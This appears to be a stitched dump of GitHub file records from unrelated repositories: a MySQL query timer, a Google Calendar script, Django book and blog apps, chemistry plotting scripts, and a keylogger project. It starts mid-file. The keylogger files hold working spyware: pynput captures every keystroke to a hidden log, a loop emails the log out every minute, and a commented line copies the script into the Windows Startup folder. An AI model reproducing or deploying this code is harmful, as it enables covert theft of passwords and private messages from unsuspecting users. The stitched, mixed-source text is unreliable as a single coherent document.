else:\n txtbuffer = timestamp + \"No query \" \\\n \"- please submit a SQL Query\"\n self.infobox.setText(txtbuffer)\n\n def sqlQuery(self, query):\n msg = {\"status\": True,\n \"message\": \"\",\n \"stats\": None,\n \"data\": None}\n try:\n self.cursor.execute(query)\n # if dont read out data, results in\n # Error: Unread result found.\n msg[\"data\"] = self.cursor.fetchall()\n #query_time = get_query_time(query)\n msg[\"stats\"] = self.get_query_time(query)\n except mysql.connector.Error as err:\n msg[\"status\"] = False\n msg[\"message\"] = \"Error: {}\".format(err)\n\n return msg\n\n def get_timestamp(self):\n # timestamp\n now = datetime.datetime.now().time()\n timestamp = \":\".join([str(now.hour), \n str(now.minute), \n str(now.second)])\n #timestamp = \".\".join([timestamp, str(now.microsecond)])\n timestamp = \"[\" + timestamp + \"] \"\n return timestamp\n\n def get_query_time(self, query):\n # get number of records\n \"\"\"\n SELECT usec,\n `WTH.HYB.A.AZM.001.INST`,\n `WTH.HYB.G.RGC.001.INST`,\n `WTH.HYB.V.RAD.001.INST` \n FROM Profiles_060_WTH \n WHERE usec > 1364919731260000 \n AND usec < 1364919877963000\n \"\"\"\n\n # clear profiles\n # SET @@profiling = 0;\n # SET @@profiling_history_size = 0;\n # SET @@profiling_history_size = 100; \n # SET @@profiling = 1;\n self.cursor.execute(\"SET @@profiling = 0\")\n data = self.cursor.fetchone()\n self.cursor.execute(\"SET @@profiling_history_size = 0\")\n data = self.cursor.fetchone()\n self.cursor.execute(\"SET @@profiling_history_size = 100\")\n data = self.cursor.fetchone()\n self.cursor.execute(\"SET @@profiling = 1\")\n data = self.cursor.fetchone()\n\n # RESET QUERY CACHE\n os.system(\"sync && echo 3 | sudo tee /proc/sys/vm/drop_caches\")\n #sleep(5)\n self.cursor.execute(\"RESET QUERY CACHE\")\n data = self.cursor.fetchone()\n self.cursor.execute(\"FLUSH QUERY CACHE\")\n data = self.cursor.fetchone()\n\n # Non-cache Query\n for i in range(6):\n self.cursor.execute(query)\n data = self.cursor.fetchall()\n\n query_size = len(data)\n # RESET QUERY CACHE\n self.cursor.execute(\"SHOW PROFILES\")\n data = self.cursor.fetchall()\n\n\n non_cached_time = data[2][1]\n cached_time = []\n for i in range(3,8):\n cached_time.append(data[i][1])\n cached_time = sum(cached_time) / float(len(cached_time))\n\n #print query_size, non_cached_time, cached_time, query\n\n return {\"size\": query_size,\n \"non_cached\": non_cached_time,\n \"cached\": cached_time,\n \"query\": str(query)}\n \n\ndef main(argv):\n app = QtGui.QApplication(argv)\n mainwindow = MainWindow()\n mainwindow.show()\n sys.exit(app.exec_())\n\n\nif __name__ == \"__main__\":\n main(sys.argv)\n" }, { "alpha_fraction": 0.4166666567325592, "alphanum_fraction": 0.4166666567325592, "avg_line_length": 17, "blob_id": "a0af85d5d026b4ff43948009490ab85b151769b9", "content_id": "f67147cd43bd75f3fb4025fcb837f68eb11dbfa6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 36, "license_type": "no_license", "max_line_length": 17, "num_lines": 2, "path": "/README.md", "repo_name": "nicolaisi/cube-query-tester", "src_encoding": "UTF-8", "text": "cube-query-tester\n=================\n" } ]
2
Shwetabhk/Google-Calendar-API
https://github.com/Shwetabhk/Google-Calendar-API
88c8fc19701ed0ab61efb1eaba0c36b2d3c54419
82004f5aa73cf8926712316f2c0f3474d69728e0
cc540833d3da62ccb22e5033e44865e3b188e99d
refs/heads/master
2020-03-18T06:43:29.221197
2018-05-23T09:53:00
2018-05-23T09:53:00
134,411,806
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6172581911087036, "alphanum_fraction": 0.6311760544776917, "avg_line_length": 40.08571243286133, "blob_id": "e6f9b4cf7ba8c6cf7d6369bd65588dd4ce594e0d", "content_id": "37f7ecf095efdaeb3af7f77723d1dec0e41465ac", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1437, "license_type": "no_license", "max_line_length": 173, "num_lines": 35, "path": "/Google_Calendar_Integration.py", "repo_name": "Shwetabhk/Google-Calendar-API", "src_encoding": "UTF-8", "text": "from __future__ import print_function\nfrom apiclient.discovery import build\nfrom httplib2 import Http\nfrom oauth2client import file, client, tools\nimport datetime\nimport os \n\n\n\ndef add(filename,summary,startdatetime,enddatetime,attendees,location=\"\",description=\"\"):\n SCOPES = 'https://www.googleapis.com/auth/calendar'\n store = file.Storage(filename)\n creds = store.get()\n if not creds or creds.invalid:\n flow = client.flow_from_clientsecrets(\"client_secret.json\", SCOPES)\n creds = tools.run_flow(flow, store)\n guests=[{'email': '[email protected]'},{'email': '[email protected]'},{'email':'[email protected]'}]\n\n for i in attendees:\n guests.append(i)\n service = build('calendar', 'v3', http=creds.authorize(Http()))\n event = {\n 'summary': summary,\n 'location': location,\n 'description': description,\n 'start':{ 'dateTime':startdatetime ,'timeZone': 'Asia/Kolkata'},\n 'end': {'dateTime': enddatetime,'timeZone': 'Asia/Kolkata'},\n 'recurrence': [ 'RRULE:FREQ=DAILY;COUNT=1'],\n 'attendees':guests,\n 'reminders': {'useDefault': False,\n 'overrides':[{'method': 'popup', 'minutes': 24*60},{'method': 'popup', 'minutes': 48*60},{'method': 'email', 'minutes': 48*60},{'method': 'email', 'minutes': 96*60}]\n }\n }\n event = service.events().insert(calendarId='primary', body=event, sendNotifications=True).execute()\n print (\"Event created\")" }, { "alpha_fraction": 0.4895833432674408, "alphanum_fraction": 0.6770833134651184, "avg_line_length": 37.599998474121094, "blob_id": "47ee0430d1f54d0bcfe3176d97ef99b222cb7ba0", "content_id": "965f48e5d64d31e036e2f0043929949fa2223797", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 192, "license_type": "no_license", "max_line_length": 92, "num_lines": 5, "path": "/AddEvent.py", "repo_name": "Shwetabhk/Google-Calendar-API", "src_encoding": "UTF-8", "text": "from Google_Calendar_Integration import add\n\n\nattendees=[{'email': '[email protected]'},{'email': '[email protected]'}]\nadd(\"[email protected]\",\"New Check\",\"2018-05-24T11:37:00+05:30\",\"2018-05-26T17:00:00+05:30\",attendees)" } ]
2
kostadin-kapsazov/books_test_django
https://github.com/kostadin-kapsazov/books_test_django
15a68edbf2d65b9c8a2e66234000b25af3d40c93
dd8620917521f69738c16dbda0934490c6aaf1a6
c40fab3bae5e36725713c46007c145aa7f601a8b
refs/heads/master
2020-04-27T20:45:06.264614
2013-11-05T14:03:02
2013-11-05T14:03:02
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7304216623306274, "alphanum_fraction": 0.7319276928901672, "avg_line_length": 22.714284896850586, "blob_id": "b32531bb13c0905672d3d724150ec155520903b5", "content_id": "26909250402774a69b729dcb9cf714140b6b4a18", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 664, "license_type": "no_license", "max_line_length": 77, "num_lines": 28, "path": "/books_test/books_portal/views.py", "repo_name": "kostadin-kapsazov/books_test_django", "src_encoding": "UTF-8", "text": "# coding: utf-8\nfrom django.core.urlresolvers import reverse_lazy\nfrom django.views.generic import ListView, UpdateView, CreateView, DetailView\n\n\nfrom .models import Books\n\n\nclass BooksDetailView(DetailView):\n model = Books\n template_name = \"books_portal/details.html\"\n\n\nclass BooksCreateView(CreateView):\n model = Books\n template_name = \"books_portal/add.html\"\n success_url = reverse_lazy('books_portal')\n\n\nclass BooksUpdateView(UpdateView):\n model = Books\n template_name = \"books_portal/add.html\"\n success_url = reverse_lazy('books_portal')\n\n\nclass BooksListView(ListView):\n model = Books\n template_name = \"books_portal/index.html\"\n" }, { "alpha_fraction": 0.670918345451355, "alphanum_fraction": 0.6964285969734192, "avg_line_length": 22.117647171020508, "blob_id": "b881f56923e33c945a20c696cc2f76a6bdbbd8a3", "content_id": "d674816c0b026e2d5a1784120f0c38ea047debe2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 392, "license_type": "no_license", "max_line_length": 45, "num_lines": 17, "path": "/books_test/books_portal/models.py", "repo_name": "kostadin-kapsazov/books_test_django", "src_encoding": "UTF-8", "text": "from django.db import models\nfrom django.forms import ModelForm\n\n\nclass Books(models.Model):\n title = models.CharField(max_length=200)\n author = models.CharField(max_length=200)\n isbn = models.CharField(max_length=200)\n pages = models.IntegerField(default=0)\n\n def __unicode__(self):\n return self.title\n\n\nclass BooksForm(ModelForm):\n class Meta:\n model = Books" }, { "alpha_fraction": 0.6965649127960205, "alphanum_fraction": 0.6965649127960205, "avg_line_length": 39.30769348144531, "blob_id": "22dd58aac16213c58fd7a97a5c332884d445a2f7", "content_id": "6bf68f37795592c821f62feb05a7dd94e33347a4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 524, "license_type": "no_license", "max_line_length": 87, "num_lines": 13, "path": "/books_test/books_portal/urls.py", "repo_name": "kostadin-kapsazov/books_test_django", "src_encoding": "UTF-8", "text": "from django.conf.urls import patterns, url\n\nfrom .views import BooksDetailView\nfrom .views import BooksCreateView\nfrom .views import BooksUpdateView\nfrom .views import BooksListView\n\nurlpatterns = patterns('',\n url(r'^books/$', BooksListView.as_view(), name=\"books_portal\"),\n url(r'^books/(?P<pk>\\d+)/view/$', BooksDetailView.as_view(), name=\"books_details\"),\n url(r'^books/add/$', BooksCreateView.as_view(), name=\"books_add\"),\n url(r'^books/(?P<pk>\\d+)/edit/$', BooksUpdateView.as_view(), name=\"books_edit\"),\n)\n" }, { "alpha_fraction": 0.4444444477558136, "alphanum_fraction": 0.6666666865348816, "avg_line_length": 14, "blob_id": "00752ddd3f38c8c0f9476610f84e8719fc89e01f", "content_id": "433343c7744c480372f75de35475eb20fc363c38", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 45, "license_type": "no_license", "max_line_length": 15, "num_lines": 3, "path": "/requirements.txt", "repo_name": "kostadin-kapsazov/books_test_django", "src_encoding": "UTF-8", "text": "Django==1.5.4\npsycopg2==2.5.1\nwsgiref==0.1.2\n" }, { "alpha_fraction": 0.720812201499939, "alphanum_fraction": 0.720812201499939, "avg_line_length": 23.125, "blob_id": "d8b4d7587d36a07924e7e9e9896da846b1693f26", "content_id": "3ac8e0d8e0ba3a91dbca1dba4a28b8cffb93b04a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 197, "license_type": "no_license", "max_line_length": 55, "num_lines": 8, "path": "/books_test/books_portal/admin.py", "repo_name": "kostadin-kapsazov/books_test_django", "src_encoding": "UTF-8", "text": "\n\nfrom django.contrib import admin\n\nfrom .models import Books\n\nclass BooksAdmin(admin.ModelAdmin):\n list_display = ('title', 'author', 'isbn', 'pages')\n\nadmin.site.register(Books, BooksAdmin)\n\n\n" } ]
5
giacomettisss/keylogger
https://github.com/giacomettisss/keylogger
3ba56bc3e19e0d1fb38de99cac1abc32644e10a9
18679a4db978b1505cc72de624898562aa21a67c
3e82f9313df02a5c64ecbb62b8989817b62e3d45
refs/heads/main
2023-03-23T00:13:16.462986
2021-03-12T01:37:04
2021-03-12T01:37:04
346,892,038
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7371273636817932, "alphanum_fraction": 0.7371273636817932, "avg_line_length": 22.0625, "blob_id": "b2a59e478ce763502902c50fec85177976d6de3d", "content_id": "46bc29afd57fa4610f6ab8fc0301deeb2a1beb39", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 369, "license_type": "permissive", "max_line_length": 115, "num_lines": 16, "path": "/keylogger/logger.py", "repo_name": "giacomettisss/keylogger", "src_encoding": "UTF-8", "text": "from pynput.keyboard import Listener\n\nimport os\nimport logging\n\n\nusername = os.getlogin()\nloggin_directory = f\"C:/Users/{username}\"\n\nlogging.basicConfig(filename=f\"{loggin_directory}/log.txt\", level=logging.DEBUG, format=\"%(asctime)s: %(message)s\")\n\ndef key_handler(key):\n logging.info(str(key))\n\nwith Listener(on_press=key_handler) as listener:\n listener.join()\n" }, { "alpha_fraction": 0.610284149646759, "alphanum_fraction": 0.6238159537315369, "avg_line_length": 21.33333396911621, "blob_id": "fe10ebd9b5edaf6d18809e1207825126422276de", "content_id": "cfa8c36a3c16ed29bbbfaf8ae00f1e7c08fe341c", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 739, "license_type": "permissive", "max_line_length": 115, "num_lines": 33, "path": "/keylogger/main.py", "repo_name": "giacomettisss/keylogger", "src_encoding": "UTF-8", "text": "\nimport multiprocessing\nimport sys\nfrom shutil import copyfile\nimport os\n\n\nusername = os.getlogin()\n# copyfile('main.py', f\"C:/Users/{username}/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/main.py\")\n\ndef keylogger():\n import logger\n\ndef send_email():\n import mail_3\n import time\n while True:\n import handling_log\n time.sleep(60)\n print('tentando enviar email')\n try:\n mail_3.sendmail()\n handling_log.clear_data()\n except:\n continue\n \nif __name__ == '__main__':\n import time\n p1 = multiprocessing.Process(target=keylogger)\n p1.start()\n p2 = multiprocessing.Process(target=send_email)\n p2.start()\n p1.join()\n p2.join()\n\n" }, { "alpha_fraction": 0.6611111164093018, "alphanum_fraction": 0.6611111164093018, "avg_line_length": 21.625, "blob_id": "494e3a05433bb68e31b173369fd4a07af451ea3a", "content_id": "8431bd93aa2bab89a817ac321a47ea6ac0ccdcfa", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 180, "license_type": "permissive", "max_line_length": 53, "num_lines": 8, "path": "/keylogger/handling_log.py", "repo_name": "giacomettisss/keylogger", "src_encoding": "UTF-8", "text": "import os\n\ndef clear_data():\n username = os.getlogin()\n loggin_directory = f\"C:/Users/{username}/log.txt\"\n\n logger_data = open(loggin_directory, 'w')\n logger_data.close" } ]
3
smtsuchi/shohablog-django
https://github.com/smtsuchi/shohablog-django
b7917387be3a83caec2e817c207b54897b67a699
e40efca597ee93ed3053e8ac760215b953101647
beff751067bde5bef227c1626f920606df737ad2
refs/heads/master
2023-07-08T04:07:44.102351
2021-08-18T18:59:10
2021-08-18T18:59:10
384,323,471
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6369426846504211, "alphanum_fraction": 0.6369426846504211, "avg_line_length": 26.30434799194336, "blob_id": "48f779e732aa593d0b53b196086864824cd3b728", "content_id": "dd7bc4e110d20d87355d1f6ab7ac1d8342d640f7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 628, "license_type": "no_license", "max_line_length": 66, "num_lines": 23, "path": "/blog/forms.py", "repo_name": "smtsuchi/shohablog-django", "src_encoding": "UTF-8", "text": "from django import forms\n\n# import our built-in form AND model\nfrom django.contrib.auth.forms import UserCreationForm\nfrom django.contrib.auth.models import User\n\nfrom .models import Post\n\nclass PostForm(forms.ModelForm):\n class Meta:\n model = Post\n fields = [\n 'title',\n 'author',\n 'content'\n ]\n\nclass CreateUserForm(UserCreationForm): # inherits from built-in\n class Meta:\n model = User\n # fields come from build-in User model. Read documentation\n # to see all availbale fields\n fields = ['username', 'email', 'password1', 'password2']\n" }, { "alpha_fraction": 0.6550976037979126, "alphanum_fraction": 0.6550976037979126, "avg_line_length": 34.46154022216797, "blob_id": "2652449ea9b7a5fb0c76e05459f32188b36460ff", "content_id": "35dc40b888dcfcf676e90d44aac47bdae0afa5a2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 461, "license_type": "no_license", "max_line_length": 67, "num_lines": 13, "path": "/blog/urls.py", "repo_name": "smtsuchi/shohablog-django", "src_encoding": "UTF-8", "text": "from django.urls import path\n\nfrom . import views\n\nurlpatterns = [\n path('', views.index, name='blog-index'),\n path('about/', views.about, name='blog-about'),\n path('post/create/', views.createPost, name='blog-createpost'),\n path('register/', views.register, name='blog-register'),\n path('login/', views.loginPage, name='blog-login'),\n path('logout/', views.logoutUser, name='blog-logout'),\n path('api/', views.testAPI, name='api-test'),\n]\n" }, { "alpha_fraction": 0.5505397319793701, "alphanum_fraction": 0.5507850646972656, "avg_line_length": 28.97058868408203, "blob_id": "9e2fbe1eb1bb167a808d8e82cfa0fd9f9a843b4e", "content_id": "30e496c882a66f5289ebb9c33a6ebfdd3c8163a7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4076, "license_type": "no_license", "max_line_length": 93, "num_lines": 136, "path": "/blog/views.py", "repo_name": "smtsuchi/shohablog-django", "src_encoding": "UTF-8", "text": "from django.shortcuts import redirect, render\nfrom django.http import JsonResponse\n\n# import all your forms to be used\nfrom .forms import PostForm, CreateUserForm\nfrom django.contrib.auth.forms import UserCreationForm\n\n# import all your models to be used\nfrom .models import Post\n\n# import extra functionality (authenticate/login/logout/ and messages)\nfrom django.contrib.auth import authenticate, login, logout \nfrom django.contrib import messages \nfrom django.contrib.auth.decorators import login_required\n\n# import mail dependencies\nfrom django.core.mail import EmailMessage\nfrom django.conf import settings\nfrom django.template.loader import render_to_string\n\n# Create your views here.\ndef index(request):\n posts = Post.objects.all()\n context = {\n 'posts' : posts\n }\n # return HttpResponse(\"Hello, world! This is the blog index ;]\")\n #\n # instead of returning an http response, we are rendering a template\n return render(request, 'blog/index.html', context)\n\ndef about(request):\n return render(request, 'blog/about.html')\n\n@login_required(login_url='blog-login')\ndef createPost(request):\n form = PostForm()\n if request.method == \"POST\":\n form = PostForm(request.POST)\n if form.is_valid():\n form.save()\n context = {\n 'form' : form\n }\n return render(request, 'blog/createpost.html', context)\n\ndef register(request):\n if request.user.is_authenticated:\n return redirect('blog-index')\n form = CreateUserForm(request.POST or None)\n if form.is_valid():\n form.save()\n user = form.cleaned_data.get(\"username\")\n email = form.cleaned_data.get(\"email\")\n\n print(settings.EMAIL_HOST_USER)\n print(settings.EMAIL_HOST_PASSWORD)\n\n template = render_to_string('blog/emailtemplate.html', {'username' : user})\n\n email_message = EmailMessage(\n 'Welcome to my Django Blog!', # subject line\n template, # body\n settings.EMAIL_HOST_USER,\n [email], #list of recipients\n fail_silently = False\n )\n\n email_message.send()\n\n messages.success(request, \"Account was created for \" + user)\n return redirect('blog-login')\n context = {\n 'form' : form\n }\n return render(request, 'blog/register.html', context)\n\ndef loginPage(request):\n if request.user.is_authenticated:\n return redirect('blog-index')\n if request.method == \"POST\":\n username = request.POST.get('username') # comes from name attribute in html input tag\n password = request.POST.get('password')\n\n user = authenticate(request, username=username, password=password)\n\n if user is not None:\n login(request, user)\n return redirect('blog-index')\n messages.info(request, \"Incorrect username OR password\")\n return render(request, 'blog/login.html')\n\ndef logoutUser(request):\n logout(request)\n return redirect('blog-login')\n\ndef testAPI(request):\n return JsonResponse(\n {\n \"name\": \"Launch-1\",\n \"students\": [\n {\n \"first_name\": 'Chien',\n \"last_name\": \"Yu\"\n },\n {\n \"first_name\": 'Dan',\n \"last_name\": \"Nguyen\"\n },\n {\n \"first_name\": 'Jerry',\n \"last_name\": \"Chang\"\n },\n {\n \"first_name\": 'Jerry',\n \"last_name\": \"Chen\"\n },\n {\n \"first_name\": 'Koki',\n \"last_name\": \"Okano\"\n },\n {\n \"first_name\": 'Olivia',\n \"last_name\": \"Awasthi\"\n },\n {\n \"first_name\": 'Peter',\n \"last_name\": \"Huang\"\n },\n {\n \"first_name\": 'Young',\n \"last_name\": \"Woo\"\n },\n ],\n }\n )\n" }, { "alpha_fraction": 0.7037037014961243, "alphanum_fraction": 0.709876537322998, "avg_line_length": 36.38461685180664, "blob_id": "786b80a6c7ce691aa02cba0acdadc54bbbeb5648", "content_id": "b4a68916ff7352aa5c48a0c249d648347193bbef", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 486, "license_type": "no_license", "max_line_length": 82, "num_lines": 13, "path": "/blog/models.py", "repo_name": "smtsuchi/shohablog-django", "src_encoding": "UTF-8", "text": "from django.db import models\n# We want to be able to use our model user that we just created, so need to import\nfrom django.contrib.auth.models import User\n\n# Create your models here.\nclass Post(models.Model):\n title = models.CharField(max_length=255)\n author = models.ForeignKey(User, on_delete=models.CASCADE)\n content = models.TextField()\n date_posted = models.DateTimeField(auto_now_add=True)\n\n def __str__(self):\n return self.title + ' | ' + str(self.author)\n" } ]
4
jarvist/tips-oscillator-strength-scripts
https://github.com/jarvist/tips-oscillator-strength-scripts
47206d239f88bbd19266483b0daf0ad7a886b9a4
5359f5871aa84e22ed09fdd778b20a7e31f4495f
5e54e2327293cc48112766bb76b9c7671d89b2b3
refs/heads/master
2021-01-20T11:35:51.481377
2014-08-18T09:55:07
2014-08-18T09:55:07
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.2548387050628662, "alphanum_fraction": 0.6516128778457642, "avg_line_length": 43.28571319580078, "blob_id": "543e389a3451fe666e043a48599acc0bd542c26b", "content_id": "71b5e627e3b01eb73507e3ed90aeb1ed6cb59f29", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 620, "license_type": "no_license", "max_line_length": 100, "num_lines": 14, "path": "/PYMOL_visualisation_of_TDDFT_Gaussian_Oscillators/2012-02_worked_example_TIPS_TES/k01071_tips_Tv3.py", "repo_name": "jarvist/tips-oscillator-strength-scripts", "src_encoding": "UTF-8", "text": "from pymol.cgo import *\nfrom pymol import cmd\nimport colorsys\nw=0.1\nh=0.25\nd=w*1.618\nobj = [CYLINDER, 0,0,0, 11.648500, -4.273000, -4.165000, 0.25 , 1,1,1, 0.400000,0.400000,1.000000, ]\ncmd.load_cgo(obj,'Ex3_713_2.62')\nobj = [CYLINDER, 0,0,0, 4.340500, -2.413000, -1.729000, 0.25 , 1,1,1, 0.400000,0.400000,1.000000, ]\ncmd.load_cgo(obj,'Ex10_389_1.05')\nobj = [CYLINDER, 0,0,0, 2.605500, 4.575500, -1.220500, 0.25 , 1,1,1, 0.400000,0.400000,1.000000, ]\ncmd.load_cgo(obj,'Ex12_388_1.08')\nobj = [CYLINDER, 0,0,0, -10.642500, 2.657500, 4.332500, 0.25 , 1,1,1, 0.400000,0.400000,1.000000, ]\ncmd.load_cgo(obj,'Ex21_338_2.36')\n" }, { "alpha_fraction": 0.6176470518112183, "alphanum_fraction": 0.6176470518112183, "avg_line_length": 26.200000762939453, "blob_id": "0062fac5ec0c2def7ff29ce7463438ce6fc9c59b", "content_id": "0b6007c4c6749b6aa44d2461b9d1ba996f1d87aa", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 136, "license_type": "no_license", "max_line_length": 69, "num_lines": 5, "path": "/TDDFT-radar-plots/TIPS/logs_to_xyz.sh", "repo_name": "jarvist/tips-oscillator-strength-scripts", "src_encoding": "UTF-8", "text": "for i \ndo\n #careful - need this patched version to catch 'input orientation'\n ./jkp_extract_geom.awk \"${i}\" > \"${i%.*}.xyz\" \ndone\n" }, { "alpha_fraction": 0.667625904083252, "alphanum_fraction": 0.7539568543434143, "avg_line_length": 76.11111450195312, "blob_id": "3aa79d879659b30bcbc20df4b7d8c340277a254f", "content_id": "3d77fa023da8c5d2369ed3c8afd89967a372f90e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 695, "license_type": "no_license", "max_line_length": 121, "num_lines": 9, "path": "/TDDFT-radar-plots/generate_radar_plots-from_lots_logs.sh", "repo_name": "jarvist/tips-oscillator-strength-scripts", "src_encoding": "UTF-8", "text": " ./generate_radar_plots-from_lots_logs.awk TIPS/*TV?*.log > TIPS/k01029_TV_all_radar.gpt\n ./generate_radar_plots-from_lots_logs.awk TIPS/*vacuum*.log > TIPS/k01029_vacuum_radar.gpt\n ./generate_radar_plots-from_lots_logs.awk TMS/*Tv?*.log > TMS/k01071_TV_all_radar.gpt\n ./generate_radar_plots-from_lots_logs.awk TMS/*vacuum*.log > TMS/k01071_vacuum_radar.gpt\n . gnuplot_gpt_to_png.sh TIPS/k01029_TV_all_radar.gpt\n . gnuplot_gpt_to_png.sh TIPS/k01029_vacuum_radar.gpt\n . gnuplot_gpt_to_png.sh TMS/k01071_TV_all_radar.gpt\n . gnuplot_gpt_to_png.sh TMS/k01071_vacuum_radar.gpt\n evince TIPS/k01029_TV_all_radar.png TMS/k01071_TV_all_radar.png TIPS/k01029_vacuum_radar.png TMS/k01071_vacuum_radar.png\n" }, { "alpha_fraction": 0.4303797483444214, "alphanum_fraction": 0.4810126721858978, "avg_line_length": 18.75, "blob_id": "fb4ea5a0003f07e4fa8eca36a01fd265b2440a2c", "content_id": "9297341aa35cd6618fe301febf4ed36c6b5533f6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 79, "license_type": "no_license", "max_line_length": 64, "num_lines": 4, "path": "/TDDFT-radar-plots/rip_singlets.sh", "repo_name": "jarvist/tips-oscillator-strength-scripts", "src_encoding": "UTF-8", "text": "for i\ndo\n grep Singlet \"${i}\" | sed \"s/=/ /\" | awk '{print $5,$7,$10}'\ndone\n" }, { "alpha_fraction": 0.5846994519233704, "alphanum_fraction": 0.6502732038497925, "avg_line_length": 60, "blob_id": "b08f18a29ceb5d8b8e8af000933942d71ca548aa", "content_id": "29507bf56d6c787a780ad21bd698f90b81f11d44", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 366, "license_type": "no_license", "max_line_length": 116, "num_lines": 6, "path": "/PYMOL_visualisation_of_TDDFT_Gaussian_Oscillators/2012-02_worked_example_TIPS_TES/gen_cgo_coloured.sh", "repo_name": "jarvist/tips-oscillator-strength-scripts", "src_encoding": "UTF-8", "text": "for i \ndo\n ../generate_cgo_from_oscillator_dipoles_direct_logfile_reader.awk r=1.0 g=0.4 b=0.4 \"${i}Tv1.log\" > \"${i%.*}Tv1.py\"\n ../generate_cgo_from_oscillator_dipoles_direct_logfile_reader.awk r=0.4 g=1.0 b=0.4 \"${i}Tv2.log\" > \"${i%.*}Tv2.py\"\n ../generate_cgo_from_oscillator_dipoles_direct_logfile_reader.awk r=0.4 g=0.4 b=1.0 \"${i}Tv3.log\" > \"${i%.*}Tv3.py\"\ndone\n" }, { "alpha_fraction": 0.6403940916061401, "alphanum_fraction": 0.6551724076271057, "avg_line_length": 14.615385055541992, "blob_id": "32bdbd9c34d2fe4b579b012ca438d3c795005db3", "content_id": "6b6a5e749188a123211cc61360bf345482644afd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 203, "license_type": "no_license", "max_line_length": 53, "num_lines": 13, "path": "/TDDFT-radar-plots/TIPS/gnuplot_gpt_to_eps.sh", "repo_name": "jarvist/tips-oscillator-strength-scripts", "src_encoding": "UTF-8", "text": "#First up against the wall,\n# when the revolution comes.\n\nfor i\ndo\n\n cat \"${i}\" - << EOF | gnuplot\nset terminal postscript eps size 2,1.5 enhanced color\nset output \"${i%.*}.eps\"\nreplot\nEOF\n\ndone\n" }, { "alpha_fraction": 0.6601941585540771, "alphanum_fraction": 0.6601941585540771, "avg_line_length": 24.75, "blob_id": "3d3bad45f6edf746b761abdb9f7144dba2f4e692", "content_id": "0af02ff9fedc59eafb188111e9eaeec1a0ee7e18", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 103, "license_type": "no_license", "max_line_length": 88, "num_lines": 4, "path": "/PYMOL_visualisation_of_TDDFT_Gaussian_Oscillators/2012-02_worked_example_TIPS_TES/gen_cgo.sh", "repo_name": "jarvist/tips-oscillator-strength-scripts", "src_encoding": "UTF-8", "text": "for i\ndo\n ../generate_cgo_from_oscillator_dipoles_direct_logfile_reader.awk \"${i}\" > \"${i%.*}.py\"\ndone\n" }, { "alpha_fraction": 0.5864979028701782, "alphanum_fraction": 0.5907173156738281, "avg_line_length": 25.33333396911621, "blob_id": "e8ff89cb04c8e546397137ec556bb92fe1da981d", "content_id": "b8a9388fa517dc5a100ad2c37e6ff342c0cb3f05", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 237, "license_type": "no_license", "max_line_length": 72, "num_lines": 9, "path": "/TDDFT-radar-plots/convolve_spectra.sh", "repo_name": "jarvist/tips-oscillator-strength-scripts", "src_encoding": "UTF-8", "text": "bold=`tput bold`\nnormal=`tput sgr0`\n\nfor log\ndo\n echo \"${bold}Munch Munch Munch: ${log}${normal}\"\n . rip_singlets.sh \"${log}\" > \"${log%.*}_impulses.dat\"\n . rip_singlets.sh \"${log}\" | python convolve.py > \"${log%.*}_nm.dat\"\ndone\n" }, { "alpha_fraction": 0.6991869807243347, "alphanum_fraction": 0.6991869807243347, "avg_line_length": 29.75, "blob_id": "941fd8263be7dfe0b7793df62d929c798277e700", "content_id": "3412d80accff5ef88315c29d1efa723b11f8d85a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 123, "license_type": "no_license", "max_line_length": 108, "num_lines": 4, "path": "/TDDFT-radar-plots/generate_radar_plots.sh", "repo_name": "jarvist/tips-oscillator-strength-scripts", "src_encoding": "UTF-8", "text": "for i\ndo\n awk -f generate_radar_plots_from_oscillators_dipoles_direct_logfile_reader.awk \"${i}\" > \"${i%.*}_radar.plt\"\ndone\n" }, { "alpha_fraction": 0.6599597334861755, "alphanum_fraction": 0.7082495093345642, "avg_line_length": 23.850000381469727, "blob_id": "ae2b06b20297b40ab09a8ab0750c12fdb8498256", "content_id": "1dda158c3cb076df2453d9b408432ba11d58de8e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 497, "license_type": "no_license", "max_line_length": 66, "num_lines": 20, "path": "/TDDFT-radar-plots/convolve.py", "repo_name": "jarvist/tips-oscillator-strength-scripts", "src_encoding": "UTF-8", "text": "import fileinput\nimport numpy as np\n\n#expects input as:\n#Energy(eV) Lambda(nm) OscillatorStrength\noscillators=[]\nfor line in 